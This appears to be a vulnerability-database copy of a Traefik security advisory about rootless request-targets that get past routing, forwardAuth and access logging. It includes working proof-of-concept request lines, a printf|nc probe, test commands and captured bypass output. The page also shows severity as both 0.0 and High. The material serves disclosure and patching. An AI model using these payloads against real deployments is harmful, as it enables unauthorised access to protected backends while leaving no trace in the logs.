GHSA-f52w-8j3h-j724 CVE-2026-88009 GO-2026-6465
Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.44%
- Chance of exploitation in the next 30 days. Higher than 38.58% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1286 Improper Validation of Syntactic Correctness of Input
- CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.
Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The scanner claims rewriteRequestBuilder (pkg/proxy/httputil/proxy.go:97) rebuilds the outbound target from URL.Path / RawPath / RawQuery but never clears URL.Opaque, so a client sending a rootless request-target (GET http:http://internal-vhost/admin HTTP/1.1) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.
The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image traefik:v3.7 (v3.7.9, go1.26.5) with stock entrypoint defaults. Three separate consequences were observed on the wire, not inferred:
- Cross-vhost routing bypass. Traefik matched
Host(app.example.com), nginx served theinternal-vhostserver block. - Path-scoped authorization bypass. A
forwardAuthguard that denies^/adminreturnedDENYfor/adminandALLOWfor the opaque form of the same request, which then reached/adminon the backend. - Access-log evasion. All three requests, benign and malicious, were logged identically as
"GET / HTTP/1.1".
Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.
This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.
Affected code
pkg/proxy/httputil/proxy.go:97(rewriteRequestBuilder)pkg/muxer/http/mux.go:139(withRoutingPath)
Code analysis
The sink
pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:
pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.
How Opaque gets populated
net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.
Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.
Why the entry-point pipeline does not catch it
denyFragmentinspectsreq.URL.RawPath→ empty → passes.normalizePathreturns early whenRawPath == ""→ passes.sanitizePath(pkg/server/server_entrypoint_tcp.go:849) doesr2.URL = r2.URL.JoinPath().JoinPathdoesurl := *u, which copies Opaque, andsetPath("/"). It then doesr2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect:URL.Pathbecomes"/",Opaquesurvives untouched, andRequestURIis rewritten to the attacker's authority-bearing form.- The muxer matches on
URL.Path == "/", so anyHost(...)-only orPathPrefix(/)router matches. Host matching usesreq.Host, which is theHost:header becauseURL.Hostis empty for the opaque form. encodedcharacters(pkg/middlewares/encodedcharacters/encoded_characters.go:41) scansreq.URL.EscapedPath(), which is"/". The denylist can never fire.accesslog(pkg/middlewares/accesslog/logger.go:244-253) rebuildsurlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}and drops Opaque, soRequestPathis logged as/.forwardauth(pkg/middlewares/auth/forward.go:473,499) setsX-Forwarded-Urifromreq.URL.RequestURI(), so the auth server receives the stringhttp://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.
Scope
The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := *req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.
Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.
Reproduction (J04, F4)
Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).
A. In-tree Go test (pkg/server, deleted after the run)
Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.
Command:
go test -run TestScanPocJ04Opaque -v ./pkg/server/
Observed:
=== RUN TestScanPocJ04Opaque/control_origin_form
status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN TestScanPocJ04Opaque/rootless_opaque_form
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN TestScanPocJ04Opaque/rootless_opaque_form_simple
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN TestScanPocJ04Opaque/absolute_form
status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)
Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absolute_form control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.
B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend
Topology: nginx with a default_server returning PUBLIC-VHOST and a server_name internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.
B1. Cross-vhost + log evasion (stock defaults):
=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com
=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost
Traefik access log for those same three requests:
"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true):
=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request <- canonical path: protection fires
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires
B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin):
=== request-target sent: '/admin' -> 403 DENY
=== request-target sent: 'http:/admin' -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
Auth-service log confirms the decision flip: 403, 403, 200.
Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
(truncated ; full analysis in the linked internal report)
Reproduction (J18, F20)
Three Go probes were written into pkg/server/ of the checkout (named zz_scanpoc_J18*_test.go) and deleted afterwards; git status confirms no zz_scanpoc_J18 file remains and the checkout is still on v3.7 @ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.
Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
--> raw request line: "GET http:admin/secret HTTP/1.1"
in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- response: "HTTP/1.1 200 OK\r"
<-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1 (control)
<-- routers matched: [router-admin(AUTH)]
<-- response: "HTTP/1.1 401 Unauthorized\r"
PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.
Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | GET admin/secret HTTP/1.1 |
GET /admin/secret HTTP/1.1 (control) |
|---|---|---|
Go net/http |
HTTP/1.1 400 Bad Request |
200, Path="/admin/secret" |
| nginx:alpine | HTTP/1.1 400 Bad Request |
404 (resolved) |
| httpd:alpine | HTTP/1.1 400 Bad Request |
404 (resolved) |
| Node.js (llhttp) | HTTP/1.1 400 Bad Request |
HTTP/1.1 200 OK |
| Tomcat 9.0.120 | HTTP/1.1 400 |
404 (resolved) |
Python http.server |
accepted (404, no 400) | 404 |
| fasthttp v1.69.0 | 200 OK, Path="/admin/secret" |
200, Path="/admin/secret" |
fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".
Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMIN_PANEL_SECRET at /admin/secret.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1" => 401 basicAuth required
"GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.
Second affected site (J18)
The finding is mechanically correct and fully reproduced end to end, including the auth bypass.
A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:
denyFragmentinspectsURL.RawPath(empty) and passes.normalizePathreturns early on emptyRawPath.sanitizePathcallsURL.JoinPath(), which rewritesPathto"/"and leavesOpaqueuntouched, then setsRequestURI = URL.RequestURI()="admin/secret".withRoutingPath(pkg/muxer/http/mux.go:139) derives the routing path fromreq.URL.EscapedPath(), which ignoresOpaque, so everyPath/PathPrefix/PathRegexpmatcher evaluates against"/".- Both proxies copy the URL wholesale and never clear
Opaque, so the outgoing request line is the attacker's target verbatim.
Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.
Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.
This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.
Precedent in comparable projects
Searched data/competitors/*.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.
| Product | ID | Severity | Framing | Fix shape |
|---|---|---|---|---|
| Caddy | CVE-2026-27587 | HIGH | MatchPath's %xx (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. |
Normalize in the divergent branch so matcher and handler agree on one interpretation. |
| Caddy | CVE-2026-27588 | HIGH | MatchHost becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. |
Same fix shape: make the fast path agree with the canonical path. |
| Envoy | CVE-2021-32779 | high | #fragment treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. |
Reject or strip the divergent element before routing. |
| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of %2F before matching. |
| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge f… |
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | < 2.11.57 |
2.11.57 |
| github.com/traefik/traefik/v3 | >= 3.0.0, < 3.7.13 |
3.7.13 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v2 Go → 2.11.57
- go
go get github.com/traefik/traefik/v2@v2.11.57 && go mod tidy
github.com/traefik/traefik/v3 Go → 3.7.13
- go
go get github.com/traefik/traefik/v3@v3.7.13 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-1286: Improper Validation of Syntactic Correctness of Input
The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
How to prevent it
- Implementation: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
- Implementation: Use only SSL communication.
- Implementation: Terminate the client session after each request.
- System Configuration: Turn all pages to non-cacheable.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
| GO-2026-6209 Traefik: Gateway API route identity collision allows cross-namespace backend hijacking | High | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor